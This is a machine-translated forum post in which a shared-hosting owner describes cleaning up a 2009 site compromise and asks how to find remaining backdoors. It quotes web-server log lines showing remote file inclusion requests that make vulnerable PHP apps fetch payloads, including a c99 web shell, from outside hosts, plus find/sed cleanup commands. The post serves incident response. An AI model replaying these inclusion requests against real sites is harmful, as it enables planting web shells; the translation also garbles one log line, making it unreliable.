Время от времени моя среда общего хостинга подвергается риску, потому что, ну, я не смог сохранить исправленный портфель моих установленных приложений.
На прошлой неделе это произошло из-за старой и неиспользованной установки приложения PHP под названием Help Center Live.
В результате к каждому отдельному файлу PHP на сервере (и у меня есть несколько установок Wordpress, Joomlas, SilverStripe) был добавлен код, который вытаскивал скрытые ссылки с других сайтов и включал их в мою страницу. Другие люди сообщают, что их сайты забанены в Google после такого рода атак - к счастью, я, кажется, поймал это достаточно рано. Я заметил это только при переходе на один из сайтов с моего телефона - на странице были ссылки, включенные в браузере Mobile.
Я нашел много попыток атаки, подобных этой в журнале:
62.149.18.193 - -
[06 / Feb / 2009: 14: 52: 45 +0000]
"GET /support/module.php?module=
HelpCenter // включить / main.php? Конфиг
[Search_disp] = истина & include_dir =
http://www.portlandonnuri.com/
2008_web // technote7 / данные / фото /
id2.txt ???
HTTP / 1.1 "200 26" - "" libwww-perl / 5.814 "
Я немедленно удалил это приложение и написал скрипт, который удалял оскорбительный код PHP из каждого исходного файла. Я также обнаружил, что сценарий создал HTML-файлы, содержащие ссылки для включения других зараженных сайтов. Я их тоже убрал. Теперь я обеспокоен тем, что злоумышленник мог оставить что-то еще, что я пропустил - файл PHP где-нибудь, что даст ему постоянный доступ. Все даты файлов были изменены в ходе атаки, и я не смог найти другие файлы, которые были изменены в течение рассматриваемого времени. Есть ли что-то очевидное, что я пропустил, чтобы убедиться, что на моем сервере нет бэкдоров?
Редактировать: Я также ищу текстовые файлы, содержащие код атаки, как показано в приведенном выше фрагменте файла журнала. Я не нашел ни одного.
Другое редактирование:
Если вы случайно натолкнулись на этот пост, потому что оказались в такой же ситуации, возможно, это вам поможет. Я использовал это для резервного копирования всех моих исходных файлов PHP, прежде чем манипулировать ими:
find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;
и это, чтобы отменить изменения, сделанные злоумышленником:
find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;
Не ракетостроение, но и не тривиально для случайного пользователя Linux / Unix, такого как я :-).
Другое редактирование:
Я не могу проверить каждую строку кода на сервере, но могу искать подозрительные данные.
Я искал все случаи "eval" и "base64" и не нашел ничего, что не выглядело законным.
Затем я запустил grep для «.ru» (поскольку преступники, похоже, пришли оттуда) и, о чудо, нашел нечто, называемое оболочкой c99, которое я быстро удалил.
Окончательное редактирование:
Я узнал, как была загружена оболочка c99 - через отверстие в фотогалерее Coppermine.
97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST
/pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
/c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"
IP-адрес, кстати, является IP-адресом Godaddy.